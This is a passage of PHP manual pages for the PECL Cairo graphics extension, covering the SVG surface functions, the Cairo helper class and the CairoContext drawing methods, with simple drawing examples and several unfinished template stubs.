  • Description

cairo_svg_surface_create

(PECL cairo >= 0.1.0)

cairo_svg_surface_create — Description

Description

CairoSvgSurface cairo_svg_surface_create ( string $file , float $width , float $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_svg_surface_create() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_svg_surface_create
  • cairo_svg_version_to_string »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_svg_surface_restrict_to_version

(PECL cairo >= 0.1.0)

cairo_svg_surface_restrict_to_version — Description

Description

void cairo_svg_surface_restrict_to_version ( CairoSvgSurface $surface , int $version )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

version

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_svg_surface_restrict_to_version() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_svg_surface_restrict_to_version
  • Cairo »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_svg_version_to_string

(PECL cairo >= 0.1.0)

cairo_svg_version_to_string — Description

Description

string cairo_svg_version_to_string ( int $version )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

version

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_svg_version_to_string() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


The Cairo class

(PECL cairo >= 0.1.0)

Introduction

Simple class with some static helper methods.

Class synopsis

Cairo {
/* Methods */
public static array availableFonts ( void )
public static array availableSurfaces ( void )
public static string statusToString ( int $status )
public static int version ( void )
public static string versionString ( void )
}

Table of Contents

  • Cairo::availableFonts — Retrieves the availables font types
  • Cairo::availableSurfaces — Retrieves all available surfaces
  • Cairo::statusToString — Retrieves the current status as string
  • Cairo::version — Retrives cairo's library version
  • Cairo::versionString — Retrieves cairo version as string

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the availables font types

  • « Cairo
  • Cairo::availableSurfaces »
  • PHP Manual
  • Cairo
  • Retrieves the availables font types

Cairo::availableFonts

cairo_available_fonts

(PECL cairo >= 0.1.0)

Cairo::availableFonts -- cairo_available_fonts — Retrieves the availables font types

Description

Object oriented style:

public static array Cairo::availableFonts ( void )

Procedural style:

array cairo_available_fonts ( void )

Returns an array with the available font backends

Parameters

This function has no parameters.

Return Values

A list-type array with all available font backends.

Examples

Example #1 Object oriented style

<?php

/* Object Oriented Style */
var_dump(Cairo::availableFonts());

?>

The above example will output something similar to:

array(2) {
  [0]=>
  string(5) "WIN32"
  [1]=>
  string(4) "USER"
}

Example #2 Procedural style

<?php

/* Procedural style */
var_dump(cairo_available_fonts());

?>

The above example will output something similar to:

array(2) {
  [0]=>
  string(5) "WIN32"
  [1]=>
  string(4) "USER"
}

See Also

  • Cairo::availableSurfaces() - Retrieves all available surfaces

User Contributed Notes

There are no user contributed notes for this page.


Retrieves all available surfaces

  • « Cairo::availableFonts
  • Cairo::statusToString »
  • PHP Manual
  • Cairo
  • Retrieves all available surfaces

Cairo::availableSurfaces

cairo_available_surfaces

(PECL cairo >= 0.1.0)

Cairo::availableSurfaces -- cairo_available_surfaces — Retrieves all available surfaces

Description

Object oriented style (method):

public static array Cairo::availableSurfaces ( void )

Procedural style:

array cairo_available_surfaces ( void )

Returns an array with the available surface backends

Parameters

This function has no parameters.

Return Values

A list-type array with all available surface backends.

Examples

Example #1 Object oriented style

<?php

/* Object Oriented style */
var_dump(Cairo::availableSurfaces());

?>

The above example will output something similar to:

array(6) {
  [0]=>
  string(5) "IMAGE"
  [1]=>
  string(3) "PNG"
  [2]=>
  string(3) "PDF"
  [3]=>
  string(2) "PS"
  [4]=>
  string(3) "SVG"
  [5]=>
  string(5) "WIN32"
}

Example #2 Procedural style

<?php

/* Procedural style */
var_dump(cairo_available_surfaces());

?>

The above example will output something similar to:

array(6) {
  [0]=>
  string(5) "IMAGE"
  [1]=>
  string(3) "PNG"
  [2]=>
  string(3) "PDF"
  [3]=>
  string(2) "PS"
  [4]=>
  string(3) "SVG"
  [5]=>
  string(5) "WIN32"
}

See Also

  • Cairo::availableFonts() - Retrieves the availables font types

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the current status as string

  • « Cairo::availableSurfaces
  • Cairo::version »
  • PHP Manual
  • Cairo
  • Retrieves the current status as string

Cairo::statusToString

cairo_status_to_string

(PECL cairo >= 0.1.0)

Cairo::statusToString -- cairo_status_to_string — Retrieves the current status as string

Description

Object oriented style (method):

public static string Cairo::statusToString ( int $status )

Procedural style:

string cairo_status_to_string ( int $status )

Retrieves the current status as a readable string

Parameters

status

A valid status code given by cairo_status() or CairoContext::status()

Return Values

A string containing the current status of a CairoContext object

Examples

Example #1 Object oriented style

<?php
$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);
$context = new CairoContext($surface);

var_dump(Cairo::statusToString($context->status()));
?>

The above example will output something similar to:

string(7) "success"

Example #2 Procedural style

<?php
$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);
$context = cairo_create($surface);

var_dump(cairo_status_to_string(cairo_status($context)));
?>

The above example will output something similar to:

string(7) "success"

See Also

  • CairoContext::status() - The status purpose

User Contributed Notes

There are no user contributed notes for this page.


Retrives cairo's library version

  • « Cairo::statusToString
  • Cairo::versionString »
  • PHP Manual
  • Cairo
  • Retrives cairo's library version

Cairo::version

cairo_version

(PECL cairo >= 0.1.0)

Cairo::version -- cairo_version — Retrives cairo's library version

Description

Object oriented style (method):

public static int Cairo::version ( void )

Procedural style:

int cairo_version ( void )

Retrieves the current version of the cairo library as an integer value

Parameters

This function has no parameters.

Return Values

Current Cairo library version integer

Examples

Example #1 Object oriented style

<?php
var_dump(Cairo::version());
?>

The above example will output something similar to:

int(10808)

Example #2 Procedural style

<?php
var_dump(cairo_version());
?>

The above example will output something similar to:

int(10808)

See Also

  • Cairo::versionString() - Retrieves cairo version as string

User Contributed Notes

There are no user contributed notes for this page.


Retrieves cairo version as string

  • « Cairo::version
  • CairoContext »
  • PHP Manual
  • Cairo
  • Retrieves cairo version as string

Cairo::versionString

cairo_version_string

(PECL cairo >= 0.1.0)

Cairo::versionString -- cairo_version_string — Retrieves cairo version as string

Description

Object oriented style (method):

public static string Cairo::versionString ( void )

Procedural style:

string cairo_version_string ( void )

Retrieves the current cairo library version as a string.

Parameters

This function has no parameters.

Return Values

Current Cairo library version string

Examples

Example #1 Object oriented style

<?php

var_dump(Cairo::versionString());

?>

The above example will output something similar to:

string(5) "1.8.8"

Example #2 Procedural style

<?php

var_dump(cairo_version_string());

?>

The above example will output something similar to:

string(5) "1.8.8"

See Also

  • Cairo::version() - Retrives cairo's library version

User Contributed Notes

There are no user contributed notes for this page.


The CairoContext class

(PECL cairo >= 0.1.0)

Introduction

Context is the main object used when drawing with cairo. To draw with cairo, you create a CairoContext, set the target CairoSurface, and drawing options for the CairoContext, create shapes with functions . like CairoContext::moveTo() and CairoContext::lineTo(), and then draw shapes with CairoContext::stroke() or CairoContext::fill(). Contexts can be pushed to a stack via CairoContext::save(). They may then safely be changed, without loosing the current state. Use CairoContext::restore() to restore to the saved state.

Class synopsis

CairoContext {
/* Methods */
public void appendPath ( CairoPath $path )
public void arc ( float $x , float $y , float $radius , float $angle1 , float $angle2 )
public void arcNegative ( float $x , float $y , float $radius , float $angle1 , float $angle2 )
public void clip ( void )
public array clipExtents ( void )
public void clipPreserve ( void )
public array clipRectangleList ( void )
public void closePath ( void )
public __construct ( CairoSurface $surface )
public void copyPage ( void )
public CairoPath copyPath ( void )
public CairoPath copyPathFlat ( void )
public void curveTo ( float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )
public array deviceToUser ( float $x , float $y )
public array deviceToUserDistance ( float $x , float $y )
public void fill ( void )
public array fillExtents ( void )
public void fillPreserve ( void )
public array fontExtents ( void )
public int getAntialias ( void )
public array getCurrentPoint ( void )
public array getDash ( void )
public int getDashCount ( void )
public int getFillRule ( void )
public void getFontFace ( void )
public void getFontMatrix ( void )
public void getFontOptions ( void )
public void getGroupTarget ( void )
public int getLineCap ( void )
public int getLineJoin ( void )
public float getLineWidth ( void )
public void getMatrix ( void )
public float getMiterLimit ( void )
public int getOperator ( void )
public void getScaledFont ( void )
public void getSource ( void )
public void getTarget ( void )
public float getTolerance ( void )
public void glyphPath ( array $glyphs )
public bool hasCurrentPoint ( void )
public void identityMatrix ( void )
public bool inFill ( string $x , string $y )
public bool inStroke ( string $x , string $y )
public void lineTo ( string $x , string $y )
public void mask ( string $pattern )
public void maskSurface ( string $surface [, string $x [, string $y ]] )
public void moveTo ( string $x , string $y )
public void newPath ( void )
public void newSubPath ( void )
public void paint ( void )
public void paintWithAlpha ( string $alpha )
public array pathExtents ( void )
public void popGroup ( void )
public void popGroupToSource ( void )
public void pushGroup ( void )
public void pushGroupWithContent ( string $content )
public void rectangle ( string $x , string $y , string $width , string $height )
public void relCurveTo ( string $x1 , string $y1 , string $x2 , string $y2 , string $x3 , string $y3 )
public void relLineTo ( string $x , string $y )
public void relMoveTo ( string $x , string $y )
public void resetClip ( void )
public void restore ( void )
public void rotate ( string $angle )
public void save ( void )
public void scale ( string $x , string $y )
public void selectFontFace ( string $family [, string $slant [, string $weight ]] )
public void setAntialias ([ string $antialias ] )
public void setDash ( string $dashes [, string $offset ] )
public void setFillRule ( string $setting )
public void setFontFace ( CairoFontFace $fontface )
public void setFontMatrix ( string $matrix )
public void setFontOptions ( string $fontoptions )
public void setFontSize ( string $size )
public void setLineCap ( string $setting )
public void setLineJoin ( string $setting )
public void setLineWidth ( string $width )
public void setMatrix ( string $matrix )
public void setMiterLimit ( string $limit )
public void setOperator ( string $setting )
public void setScaledFont ( string $scaledfont )
public void setSource ( string $pattern )
public void setSourceRGB ( string $red , string $green , string $blue )
public void setSourceRGBA ( string $red , string $green , string $blue , string $alpha )
public void setSourceSurface ( string $surface [, string $x [, string $y ]] )
public void setTolerance ( string $tolerance )
public void showPage ( void )
public void showText ( string $text )
public int status ( void )
public void stroke ( void )
public array strokeExtents ( void )
public void strokePreserve ( void )
public array textExtents ( string $text )
public void textPath ( string $string )
public void transform ( string $matrix )
public void translate ( string $x , string $y )
public array userToDevice ( string $x , string $y )
public array userToDeviceDistance ( string $x , string $y )
}

Table of Contents

  • CairoContext::appendPath — Appends a path to current path
  • CairoContext::arc — Adds a circular arc
  • CairoContext::arcNegative — Adds a negative arc
  • CairoContext::clip — Establishes a new clip region
  • CairoContext::clipExtents — Computes the area inside the current clip
  • CairoContext::clipPreserve — Establishes a new clip region from the current clip
  • CairoContext::clipRectangleList — Retrieves the current clip as a list of rectangles
  • CairoContext::closePath — Closes the current path
  • CairoContext::__construct — Creates a new CairoContext
  • CairoContext::copyPage — Emits the current page
  • CairoContext::copyPath — Creates a copy of the current path
  • CairoContext::copyPathFlat — Gets a flattened copy of the current path
  • CairoContext::curveTo — Adds a curve
  • CairoContext::deviceToUser — Transform a coordinate
  • CairoContext::deviceToUserDistance — Transform a distance
  • CairoContext::fill — Fills the current path
  • CairoContext::fillExtents — Computes the filled area
  • CairoContext::fillPreserve — Fills and preserve the current path
  • CairoContext::fontExtents — Get the font extents
  • CairoContext::getAntialias — Retrives the current antialias mode
  • CairoContext::getCurrentPoint — The getCurrentPoint purpose
  • CairoContext::getDash — The getDash purpose
  • CairoContext::getDashCount — The getDashCount purpose
  • CairoContext::getFillRule — The getFillRule purpose
  • CairoContext::getFontFace — The getFontFace purpose
  • CairoContext::getFontMatrix — The getFontMatrix purpose
  • CairoContext::getFontOptions — The getFontOptions purpose
  • CairoContext::getGroupTarget — The getGroupTarget purpose
  • CairoContext::getLineCap — The getLineCap purpose
  • CairoContext::getLineJoin — The getLineJoin purpose
  • CairoContext::getLineWidth — The getLineWidth purpose
  • CairoContext::getMatrix — The getMatrix purpose
  • CairoContext::getMiterLimit — The getMiterLimit purpose
  • CairoContext::getOperator — The getOperator purpose
  • CairoContext::getScaledFont — The getScaledFont purpose
  • CairoContext::getSource — The getSource purpose
  • CairoContext::getTarget — The getTarget purpose
  • CairoContext::getTolerance — The getTolerance purpose
  • CairoContext::glyphPath — The glyphPath purpose
  • CairoContext::hasCurrentPoint — The hasCurrentPoint purpose
  • CairoContext::identityMatrix — The identityMatrix purpose
  • CairoContext::inFill — The inFill purpose
  • CairoContext::inStroke — The inStroke purpose
  • CairoContext::lineTo — The lineTo purpose
  • CairoContext::mask — The mask purpose
  • CairoContext::maskSurface — The maskSurface purpose
  • CairoContext::moveTo — The moveTo purpose
  • CairoContext::newPath — The newPath purpose
  • CairoContext::newSubPath — The newSubPath purpose
  • CairoContext::paint — The paint purpose
  • CairoContext::paintWithAlpha — The paintWithAlpha purpose
  • CairoContext::pathExtents — The pathExtents purpose
  • CairoContext::popGroup — The popGroup purpose
  • CairoContext::popGroupToSource — The popGroupToSource purpose
  • CairoContext::pushGroup — The pushGroup purpose
  • CairoContext::pushGroupWithContent — The pushGroupWithContent purpose
  • CairoContext::rectangle — The rectangle purpose
  • CairoContext::relCurveTo — The relCurveTo purpose
  • CairoContext::relLineTo — The relLineTo purpose
  • CairoContext::relMoveTo — The relMoveTo purpose
  • CairoContext::resetClip — The resetClip purpose
  • CairoContext::restore — The restore purpose
  • CairoContext::rotate — The rotate purpose
  • CairoContext::save — The save purpose
  • CairoContext::scale — The scale purpose
  • CairoContext::selectFontFace — The selectFontFace purpose
  • CairoContext::setAntialias — The setAntialias purpose
  • CairoContext::setDash — The setDash purpose
  • CairoContext::setFillRule — The setFillRule purpose
  • CairoContext::setFontFace — The setFontFace purpose
  • CairoContext::setFontMatrix — The setFontMatrix purpose
  • CairoContext::setFontOptions — The setFontOptions purpose
  • CairoContext::setFontSize — The setFontSize purpose
  • CairoContext::setLineCap — The setLineCap purpose
  • CairoContext::setLineJoin — The setLineJoin purpose
  • CairoContext::setLineWidth — The setLineWidth purpose
  • CairoContext::setMatrix — The setMatrix purpose
  • CairoContext::setMiterLimit — The setMiterLimit purpose
  • CairoContext::setOperator — The setOperator purpose
  • CairoContext::setScaledFont — The setScaledFont purpose
  • CairoContext::setSource — The setSource purpose
  • CairoContext::setSourceRGB — The setSourceRGB purpose
  • CairoContext::setSourceRGBA — The setSourceRGBA purpose
  • CairoContext::setSourceSurface — The setSourceSurface purpose
  • CairoContext::setTolerance — The setTolerance purpose
  • CairoContext::showPage — The showPage purpose
  • CairoContext::showText — The showText purpose
  • CairoContext::status — The status purpose
  • CairoContext::stroke — The stroke purpose
  • CairoContext::strokeExtents — The strokeExtents purpose
  • CairoContext::strokePreserve — The strokePreserve purpose
  • CairoContext::textExtents — The textExtents purpose
  • CairoContext::textPath — The textPath purpose
  • CairoContext::transform — The transform purpose
  • CairoContext::translate — The translate purpose
  • CairoContext::userToDevice — The userToDevice purpose
  • CairoContext::userToDeviceDistance — The userToDeviceDistance purpose

User Contributed Notes

There are no user contributed notes for this page.


Appends a path to current path

  • « CairoContext
  • CairoContext::arc »
  • PHP Manual
  • CairoContext
  • Appends a path to current path

CairoContext::appendPath

cairo_append_path

(PECL cairo >= 0.1.0)

CairoContext::appendPath -- cairo_append_path — Appends a path to current path

Description

Object oriented style (method):

public void CairoContext::appendPath ( CairoPath $path )

Procedural style:

void cairo_append_path ( CairoContext $context , CairoPath $path )

Appends the path onto the current path. The path may be either the return value from one of CairoContext::copyPath() or CairoContext::copyPathFlat();

if path is not a valid CairoPath instance a CairoException will be thrown

Parameters

context

CairoContext object

path

CairoPath object

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

$path = $context->copyPath();

$context->appendPath($path);

?>

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

$path = cairo_copy_path($context);

cairo_append_path($context, $path);

?>

See Also

  • CairoPath
  • CairoContext::copyPath() - Creates a copy of the current path
  • CairoContext::copyPathFlat() - Gets a flattened copy of the current path

User Contributed Notes

There are no user contributed notes for this page.


Adds a circular arc

  • « CairoContext::appendPath
  • CairoContext::arcNegative »
  • PHP Manual
  • CairoContext
  • Adds a circular arc

CairoContext::arc

cairo_arc

(PECL cairo >= 0.1.0)

CairoContext::arc -- cairo_arc — Adds a circular arc

Description

Object oriented style (method):

public void CairoContext::arc ( float $x , float $y , float $radius , float $angle1 , float $angle2 )

Procedural style:

void cairo_arc ( CairoContext $context , float $x , float $y , float $radius , float $angle1 , float $angle2 )

Adds a circular arc of the given radius to the current path. The arc is centered at (x, y), begins at angle1 and proceeds in the direction of increasing angles to end at angle2. If angle2 is less than angle1 it will be progressively increased by 2*M_PI until it is greater than angle1. If there is a current point, an initial line segment will be added to the path to connect the current point to the beginning of the arc. If this initial line is undesired, it can be avoided by calling CairoContext::newSubPath() or procedural cairo_new_sub_path() before calling CairoContext::arc() or cairo_arc(). Angles are measured in radians. An angle of 0.0 is in the direction of the positive X axis (in user space). An angle of M_PI/2.0 radians (90 degrees) is in the direction of the positive Y axis (in user space). Angles increase in the direction from the positive X axis toward the positive Y axis. So with the default transformation matrix, angles increase in a clockwise direction. (To convert from degrees to radians, use degrees * (M_PI / 180.).) This function gives the arc in the direction of increasing angles; see CairoContext::arcNegative() or cairo_arc_negative() to get the arc in the direction of decreasing angles.

Parameters

context

A valid CairoContext object

x

x position

y

y position

radius

Radius of the arc

angle1

start angle

angle2

end angle

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$s = new CairoImageSurface(CairoFormat::ARGB32, 100, 100);
$c = new CairoContext($s);

$c->setSourceRgb(0, 0, 0);
$c->paint();

$c->setLineWidth(1);
$c->setSourceRgb(1, 1, 1);

for ($r = 50; $r > 0; $r -= 10) {
 $c->arc(50, 50, $r, 0, 2 * M_PI);
 $c->stroke();
 $c->fill();
}

$s->writeToPng(dirname(__FILE__) . '/CairoContext__arc.png');
?>

Example #2 Procedural style

<?php

$s = cairo_image_surface_create(CAIRO_SURFACE_TYPE_IMAGE, 100, 100);
$c = cairo_create($s);

cairo_set_source_rgb($c, 0, 0, 0);
cairo_paint($c);

cairo_set_source_rgb($c, 1, 1, 1);
cairo_set_line_width($c, 1);

for ($r = 50; $r > 0; $r -= 10) {
 cairo_arc($c, 50, 50, $r, 0, 2 * M_PI);
 cairo_stroke($c);
 cairo_fill($c);
}

cairo_surface_write_to_png($s, dirname(__FILE__) . '/cairo_arc.png');
?>

See Also

  • CairoContext::arcNegative() - Adds a negative arc

User Contributed Notes

There are no user contributed notes for this page.


Adds a negative arc

  • « CairoContext::arc
  • CairoContext::clip »
  • PHP Manual
  • CairoContext
  • Adds a negative arc

CairoContext::arcNegative

cairo_arc_negative

(PECL cairo >= 0.1.0)

CairoContext::arcNegative -- cairo_arc_negative — Adds a negative arc

Description

Object oriented style (method):

public void CairoContext::arcNegative ( float $x , float $y , float $radius , float $angle1 , float $angle2 )

Procedural style:

void cairo_arc_negative ( CairoContext $context , float $x , float $y , float $radius , float $angle1 , float $angle2 )

Adds a circular arc of the given radius to the current path. The arc is centered at (x, y), begins at angle1 and proceeds in the direction of decreasing angles to end at angle2. If angle2 is greater than angle1 it will be progressively decreased by 2*M_PI until it is less than angle1. See CairoContext::arc() or cairo_arc() for more details. This function differs only in the direction of the arc between the two angles.

Parameters

context

A valid CairoContext object

x

double x position

y

double y position

radius

The radius of the desired negative arc

angle1

Start angle of the arc

angle2

End angle of the arc

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$s = new CairoImageSurface(CairoFormat::ARGB32, 100, 100);
$c = new CairoContext($s);

$c->setSourceRgb(0, 0, 0);
$c->paint();

$c->setLineWidth(1);
$c->setSourceRgb(1, 1, 1);

for ($r = 50; $r > 0; $r -= 10) {
 $c->arcNegative(50, 50, $r, 2 * M_PI, 0);
 $c->stroke();
 $c->fill();
}

$s->writeToPng(dirname(__FILE__) . '/CairoContext__arcNegative.png');
?>

Example #2 Procedural style

<?php

$s = cairo_image_surface_create(CAIRO_SURFACE_TYPE_IMAGE, 100, 100);
$c = cairo_create($s);

cairo_set_source_rgb($c, 0, 0, 0);
cairo_paint($c);

cairo_set_source_rgb($c, 1, 1, 1);
cairo_set_line_width($c, 1);

for ($r = 50; $r > 0; $r -= 10) {
 cairo_arc_negative($c, 50, 50, $r, 2 * M_PI, 0);
 cairo_stroke($c);
 cairo_fill($c);
}

cairo_surface_write_to_png($s, dirname(__FILE__) . '/cairo_arc_negative.png');
?>

See Also

  • CairoContext::arc() - Adds a circular arc

User Contributed Notes

There are no user contributed notes for this page.


Establishes a new clip region

  • « CairoContext::arcNegative
  • CairoContext::clipExtents »
  • PHP Manual
  • CairoContext
  • Establishes a new clip region

CairoContext::clip

cairo_clip

(PECL cairo >= 0.1.0)

CairoContext::clip -- cairo_clip — Establishes a new clip region

Description

Object oriented style (method):

public void CairoContext::clip ( void )

Procedural style:

void cairo_clip ( CairoContext $context )

Establishes a new clip region by intersecting the current clip region with the current path as it would be filled by CairoContext::fill() or cairo_fill() and according to the current fill rule (see CairoContext::setFillRule() or cairo_set_fill_rule()).

After CairoContext::clip() or cairo_clip(), the current path will be cleared from the cairo context.

The current clip region affects all drawing operations by effectively masking out any changes to the surface that are outside the current clip region.

Calling CairoContext::clip() or cairo_clip()
can only make the clip region smaller, never larger. But the current clip is part of the
graphics state, so a temporary restriction of the clip region can be achieved by calling
CairoContext::clip() or cairo_clip() within a
CairoContext::save()/CairoContext::restore() or
cairo_save()/cairo_restore() pair.
The only other means of increasing the size of the clip region is
CairoContext::resetClip() or procedural cairo_reset_clip().

Parameters

context

A valid CairoContext object

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

$context->clip();

?>

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

cairo_clip($context);

?>

See Also

  • CairoContext::resetClip() - The resetClip purpose
  • cairo_reset_clip() - The resetClip purpose

User Contributed Notes

There are no user contributed notes for this page.


Computes the area inside the current clip

  • « CairoContext::clip
  • CairoContext::clipPreserve »
  • PHP Manual
  • CairoContext
  • Computes the area inside the current clip

CairoContext::clipExtents

cairo_clip_extents

(PECL cairo >= 0.1.0)

CairoContext::clipExtents -- cairo_clip_extents — Computes the area inside the current clip

Description

Object oriented style (method):

public array CairoContext::clipExtents ( void )

Procedural style:

array cairo_clip_extents ( CairoContext $context )

Computes a bounding box in user coordinates covering the area inside the current clip.

Parameters

context

A valid CairoContext object

Return Values

An array containing the (float)x1, (float)y1, (float)x2, (float)y2, coordinates covering the area inside the current clip

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

var_dump($context->clipExtents());
?>

The above example will output something similar to:

array(4) {
  [0]=>
  float(0)
  [1]=>
  float(0)
  [2]=>
  float(50)
  [3]=>
  float(50)
}

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

var_dump(cairo_clip_extents($context));

?>

The above example will output something similar to:

array(4) {
  [0]=>
  float(0)
  [1]=>
  float(0)
  [2]=>
  float(50)
  [3]=>
  float(50)
}

See Also

  • CairoContext::clip() - Establishes a new clip region

User Contributed Notes

There are no user contributed notes for this page.


Establishes a new clip region from the current clip

  • « CairoContext::clipExtents
  • CairoContext::clipRectangleList »
  • PHP Manual
  • CairoContext
  • Establishes a new clip region from the current clip

CairoContext::clipPreserve

cairo_clip_preserve

(PECL cairo >= 0.1.0)

CairoContext::clipPreserve -- cairo_clip_preserve — Establishes a new clip region from the current clip

Description

Object oriented style (method):

public void CairoContext::clipPreserve ( void )

Procedural style:

void cairo_clip_preserve ( CairoContext $context )

Establishes a new clip region by intersecting the current clip region with the current path as it would be filled by Context.fill() and according to the current FILL RULE (see CairoContext::setFillRule() or cairo_set_fill_rule()).

Unlike CairoContext::clip(), CairoContext::clipPreserve() preserves the path within the Context. The current clip region affects all drawing operations by effectively masking out any changes to the surface that are outside the current clip region.

Calling CairoContext::clipPreserve() can only make the clip region smaller, never larger. But the current clip is part of the graphics state, so a temporary restriction of the clip region can be achieved by calling CairoContext::clipPreserve() within a CairoContext::save()/CairoContext::restore() pair. The only other means of increasing the size of the clip region is CairoContext::resetClip().

Parameters

context

A valid CairoContext object

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

$context->clipPreserve();

?>

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

cairo_clip_preserve($context);

?>

See Also

  • CairoContext::save() - The save purpose
  • CairoContext::restore() - The restore purpose
  • CairoContext::resetClip() - The resetClip purpose

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the current clip as a list of rectangles

  • « CairoContext::clipPreserve
  • CairoContext::closePath »
  • PHP Manual
  • CairoContext
  • Retrieves the current clip as a list of rectangles

CairoContext::clipRectangleList

cairo_clip_rectangle_list

(PECL cairo >= 0.1.0)

CairoContext::clipRectangleList -- cairo_clip_rectangle_list — Retrieves the current clip as a list of rectangles

Description

Object oriented style (method):

public array CairoContext::clipRectangleList ( void )

Procedural style:

array cairo_clip_rectangle_list ( CairoContext $context )

Returns a list-type array with the current clip region as a list of rectangles in user coordinates

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

An array of user-space represented rectangles for the current clip

(The status in the list may be CAIRO_STATUS_CLIP_NOT_REPRESENTABLE to indicate that the clip region cannot be represented as a list of user-space rectangles. The status may have other values to indicate other errors.)

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

var_dump($context->clipRectangleList());

?>

The above example will output something similar to:

array(1) {
  [0]=>
  array(4) {
    ["x"]=>
    float(0)
    ["y"]=>
    float(0)
    ["width"]=>
    float(50)
    ["height"]=>
    float(50)
  }
}

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

var_dump(cairo_clip_rectangle_list($context));

?>

The above example will output something similar to:

array(1) {
  [0]=>
  array(4) {
    ["x"]=>
    float(0)
    ["y"]=>
    float(0)
    ["width"]=>
    float(50)
    ["height"]=>
    float(50)
  }
}

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


Closes the current path

  • « CairoContext::clipRectangleList
  • CairoContext::__construct »
  • PHP Manual
  • CairoContext
  • Closes the current path

CairoContext::closePath

cairo_close_path

(PECL cairo >= 0.1.0)

CairoContext::closePath -- cairo_close_path — Closes the current path

Description

Object oriented style (method):

public void CairoContext::closePath ( void )

Procedural style:

void cairo_close_path ( CairoContext $context )

Adds a line segment to the path from the current point to the beginning of the current sub-path, (the most recent point passed to CairoContext::moveTo()), and closes this sub-path. After this call the current point will be at the joined endpoint of the sub-path.

The behavior of close_path() is distinct from simply calling CairoContext::lineTo() with the equivalent coordinate in the case of stroking. When a closed sub-path is stroked, there are no caps on the ends of the sub-path. Instead, there is a line join connecting the final and initial segments of the sub-path.

If there is no current point before the call to CairoContext::closePath(), this function will have no effect.

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

$context->closePath();

?>

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

cairo_close_path($context);

?>

See Also

  • CairoContext::copyPath() - Creates a copy of the current path

User Contributed Notes

There are no user contributed notes for this page.


Creates a new CairoContext

  • « CairoContext::closePath
  • CairoContext::copyPage »
  • PHP Manual
  • CairoContext
  • Creates a new CairoContext

CairoContext::__construct

(PECL cairo >= 0.1.0)

CairoContext::__construct — Creates a new CairoContext

Description

public CairoContext::__construct ( CairoSurface $surface )

Creates a new CairoContext object to draw

Parameters

surface

A valid CairoSurface like CairoImageSurface or CairoPdfSurface

Return Values

A CairoContext

Examples

Example #1 CairoContext::__construct() example

<?php
// The surface to work on
$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

// Create a new CairoContext for the CairoSurface
$context = new CairoContext($surface);

?>

See Also

  • Cairo::Method()

User Contributed Notes

There are no user contributed notes for this page.


Emits the current page

  • « CairoContext::__construct
  • CairoContext::copyPath »
  • PHP Manual
  • CairoContext
  • Emits the current page

CairoContext::copyPage

cairo_copy_page

(PECL cairo >= 0.1.0)

CairoContext::copyPage -- cairo_copy_page — Emits the current page

Description

Object oriented style (method):

public void CairoContext::copyPage ( void )

Procedural style:

void cairo_copy_page ( CairoContext $context )

Emits the current page for backends that support multiple pages, but doesn’t clear it, so, the contents of the current page will be retained for the next page too. Use CairoContext::showPage() if you want to get an empty page after the emission.

